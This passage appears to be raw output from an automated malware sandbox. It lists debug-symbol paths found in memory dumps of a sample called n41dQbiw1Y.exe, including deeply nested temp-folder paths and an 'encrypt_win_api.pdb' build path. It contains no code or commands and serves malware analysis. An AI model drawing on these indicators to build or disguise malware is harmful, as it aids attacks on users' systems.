Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n41dQbiw1Y.exe, 00000004.00000003.2005761860.0000000003058000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350504130.0000000003058000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350312868.000000000303D000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\p\| source: n41dQbiw1Y.exe, 00000004.00000003.2509182978.000000000366B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2472330811.0000000003539000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2480023873.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2480409399.0000000003538000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\p\\ source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n41dQbiw1Y.exe, 00000004.00000003.2507897466.000000000394A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\p\ source: n41dQbiw1Y.exe, 00000004.00000003.2445138231.00000000038E3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444037934.00000000038B7000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444677929.00000000038CB000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443432510.00000000038A3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\migkcoaX source: n41dQbiw1Y.exe, 00000004.00000003.2512068283.000000000359D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdbAppCache133408903214673664.txt~2d source: n41dQbiw1Y.exe, 00000004.00000003.2350866644.0000000002FE5000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350768467.0000000002FD2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2472131223.00000000038B9000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2471889224.00000000038E3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2445138231.00000000038E3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2472632288.00000000038F5000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2473323826.0000000003913000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444037934.00000000038B7000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444677929.00000000038CB000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443432510.00000000038A3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2471556860.000000000389A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb413186015.txt source: n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb_ source: n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\t\ source: n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003972000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2477445978.0000000003955000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2482249490.0000000003955000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2481338652.0000000003955000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbA source: n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n41dQbiw1Y.exe, 00000004.00000003.2424849270.000000000390A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2445138231.00000000038E3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444037934.00000000038B7000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444677929.00000000038CB000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443432510.00000000038A3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ry\tio source: n41dQbiw1Y.exe, 00000004.00000003.2479854719.00000000038EB000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2479014137.00000000038B6000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2479453689.00000000038D7000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2479179745.00000000038B9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\/ source: n41dQbiw1Y.exe, 00000004.00000003.1973252056.000000000301B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350566668.000000000301B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.1983378419.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2005825176.0000000003011000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\ source: n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003972000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n41dQbiw1Y.exe, 00000004.00000003.2417020079.0000000003873000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\che\wasm\in source: n41dQbiw1Y.exe, 00000004.00000003.2512068283.000000000359D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\zV source: n41dQbiw1Y.exe, 00000004.00000003.2480467233.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2480695259.0000000003005000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2445767147.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2473213369.0000000003003000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2473113322.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444562524.0000000003002000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.errorhi source: n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.azhi1e6c4e842c100b150[2].xml.azhifb053169aeeefpplication Data\Application Data\Applicatio>HP source: n41dQbiw1Y.exe, 00000004.00000003.2472330811.0000000003539000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*, source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BACKGR~2ntkrnlmp.pdbndTransferApiGroup source: n41dQbiw1Y.exe, 00000004.00000003.2350866644.0000000002FE5000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350768467.0000000002FD2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\ source: n41dQbiw1Y.exe, 00000004.00000003.2473818043.00000000035B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\3 source: n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003972000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2493971115.00000000039BD000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2504791469.0000000003993000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\we\we\la source: n41dQbiw1Y.exe, 00000004.00000003.2515931129.000000000351D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb}r source: n41dQbiw1Y.exe, 00000004.00000003.2385195082.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350653223.0000000003009000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350608743.0000000003003000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\\WO source: n41dQbiw1Y.exe, 00000004.00000003.2509605254.0000000003004000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2508964259.0000000003003000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\\\ source: n41dQbiw1Y.exe, 00000004.00000003.2509713380.0000000003A51000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2509253380.0000000003A31000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2507744772.0000000003A10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\n\ source: n41dQbiw1Y.exe, 00000004.00000003.2416110619.0000000003586000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425625880.0000000003586000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415801787.0000000003519000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.0000000003555000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2429958387.0000000003599000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415552835.0000000003502000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: n41dQbiw1Y.exe, 00000004.00000003.2504192573.0000000003004000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003972000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2493971115.00000000039BD000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2504791469.0000000003993000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003972000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2478629641.00000000039C7000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2493971115.00000000039BD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: n41dQbiw1Y.exe, n41dQbiw1Y.exe, 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000006.00000002.2904433559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000007.00000002.1802282890.0000000004360000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000008.00000002.1812383691.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 0000000A.00000002.1886225243.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\p source: n41dQbiw1Y.exe, 00000004.00000003.2512279386.0000000003693000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2514186556.0000000003693000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2508446903.000000000368B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\bwe\3`N source: n41dQbiw1Y.exe, 00000004.00000003.2515931129.000000000351D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2443266311.000000000354C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425756979.0000000003555000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.0000000003555000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2428534024.0000000003555000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2445898085.0000000003578000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443091697.0000000003519000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\.log source: n41dQbiw1Y.exe, 00000004.00000003.2005761860.0000000003058000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\wy\X source: n41dQbiw1Y.exe, 00000004.00000003.2384782477.000000000353A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\: source: n41dQbiw1Y.exe, 00000004.00000003.2472484581.00000000034F8000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2481128544.000000000350E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2473012319.000000000350A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2480023873.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2473687652.000000000350D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: n41dQbiw1Y.exe, 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000006.00000002.2904433559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000007.00000002.1802282890.0000000004360000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000008.00000002.1812383691.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 0000000A.00000002.1886225243.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n41dQbiw1Y.exe, 00000004.00000003.2428721282.0000000003912000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2471889224.00000000038E3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2445138231.00000000038E3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2472632288.00000000038F5000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444037934.00000000038B7000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444677929.00000000038CB000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443432510.00000000038A3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2471556860.000000000389A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\+ source: n41dQbiw1Y.exe, 00000004.00000003.2350365958.00000000034F1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.1982658575.0000000003517000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2006006511.0000000003519000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350696624.0000000003519000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\r source: n41dQbiw1Y.exe, 00000004.00000003.2005761860.0000000003058000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350504130.0000000003058000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350312868.000000000303D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2416435845.0000000003668000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415962079.000000000365A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425361424.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444253504.0000000003677000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425570761.0000000003670000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415801787.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415552835.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384782477.000000000353A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2472270849.000000000367C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2424259289.000000000352B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2416911125.0000000003523000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415801787.0000000003519000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444842339.000000000352C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415552835.0000000003502000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443091697.0000000003519000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\z@ source: n41dQbiw1Y.exe, 00000004.00000003.2385195082.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385355480.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385444405.0000000003009000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385479821.000000000300D000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2416256520.000000000300D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\input\sv-SE\od.pdb\we\*0 source: n41dQbiw1Y.exe, 00000004.00000003.2516730661.000000000394A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2529720715.0000000003952000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n41dQbiw1Y.exe, 00000004.00000003.2488762144.0000000003029000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2490262820.0000000003040000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\he\! source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\es\ source: n41dQbiw1Y.exe, 00000004.00000003.2415801787.0000000003519000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415552835.0000000003502000.00000004.00000020.00020000.00000000.sdmp
